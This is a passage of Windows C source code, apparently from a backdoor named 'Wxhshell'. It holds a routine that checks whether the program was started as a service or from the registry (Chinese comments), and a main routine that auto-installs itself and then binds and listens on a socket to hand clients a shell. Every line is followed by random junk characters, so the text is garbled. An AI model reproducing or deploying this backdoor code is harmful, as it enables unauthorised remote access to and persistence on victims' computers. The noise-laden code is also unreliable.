DWORD PebBaseAddress; ujX;wGje
DWORD AffinityMask; nOGTeKjEJ
DWORD BasePriority; _V-K yK
ULONG UniqueProcessId; + '_t)k^
ULONG InheritedFromUniqueProcessId; *(?Wzanh
} PROCESS_BASIC_INFORMATION; 73D<wMgZF
w>&*-}XX
PROCNTQSIP NtQueryInformationProcess; 0B]q /G(
0+* NHiH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xf]K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n|~y
>w4
IT_I.5*A2
HANDLE hProcess; >5t%_/yeB
PROCESS_BASIC_INFORMATION pbi; xV)[C )6
3S:Lce'f
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g4[VgmhJ
if(NULL == hInst ) return 0; 'p&,'+x
P2-&Im`+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6QX m]<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5QMra5N k
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?FQ#I~'<
(j&:
if (!NtQueryInformationProcess) return 0; X g6ezlW
uw}Rr7q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *|fF;-#v
if(!hProcess) return 0; T }}2J/sj
;Y?MbD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hzqJ!
u5(8k_7
CloseHandle(hProcess); Yq+1kA
E7:xPNU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iVXt@[
if(hProcess==NULL) return 0; FE~D:)Xj'?
;A*SuFbV
HMODULE hMod; g'(bk@<BP
char procName[255]; fjh|V9H
unsigned long cbNeeded; cMw<3u\
uzy5rA==
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1qRquY
O
*sU|jeO
CloseHandle(hProcess); /Nf{;G!kg
CL=%eSsuD
if(strstr(procName,"services")) return 1; // 以服务启动 s,HbW%s
'NEl`v*<P
return 0; // 注册表启动 !_S#8"
}
=@HS
(%my:\>l
// 主模块 2{-29bq
int StartWxhshell(LPSTR lpCmdLine) (Rw<1q`,
{ 2Y
vr|] \8
SOCKET wsl; tn]nl!_@
BOOL val=TRUE; 36"n7
int port=0; cq1 5@a mX
struct sockaddr_in door; 2c `m=
nf.Ox.kM)
if(wscfg.ws_autoins) Install(); ;8s L
R'>!1\?Iq
port=atoi(lpCmdLine); sg2;"E@
a>wCBkD
if(port<=0) port=wscfg.ws_port; 1[%3kY-h
8Zr;n`~
WSADATA data; nBh+UT}
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YKyno?m
a3@E`Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g6GkA.!X$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WR;1
door.sin_family = AF_INET; bJ~H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); u#0snw~)/
door.sin_port = htons(port); w0Qtr>"
A;oHji#*
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =rjU=3!&(
closesocket(wsl); %w`d
return 1; ~tDYo)hH8
} FuhmLm'p
g'"~'
if(listen(wsl,2) == INVALID_SOCKET) { lx)^wAO4
closesocket(wsl); q+ax]=w
return 1; -l^<[%
} s,z~qL6&
Wxhshell(wsl); Obs#2>h
WSACleanup(); X1j8tg
b1&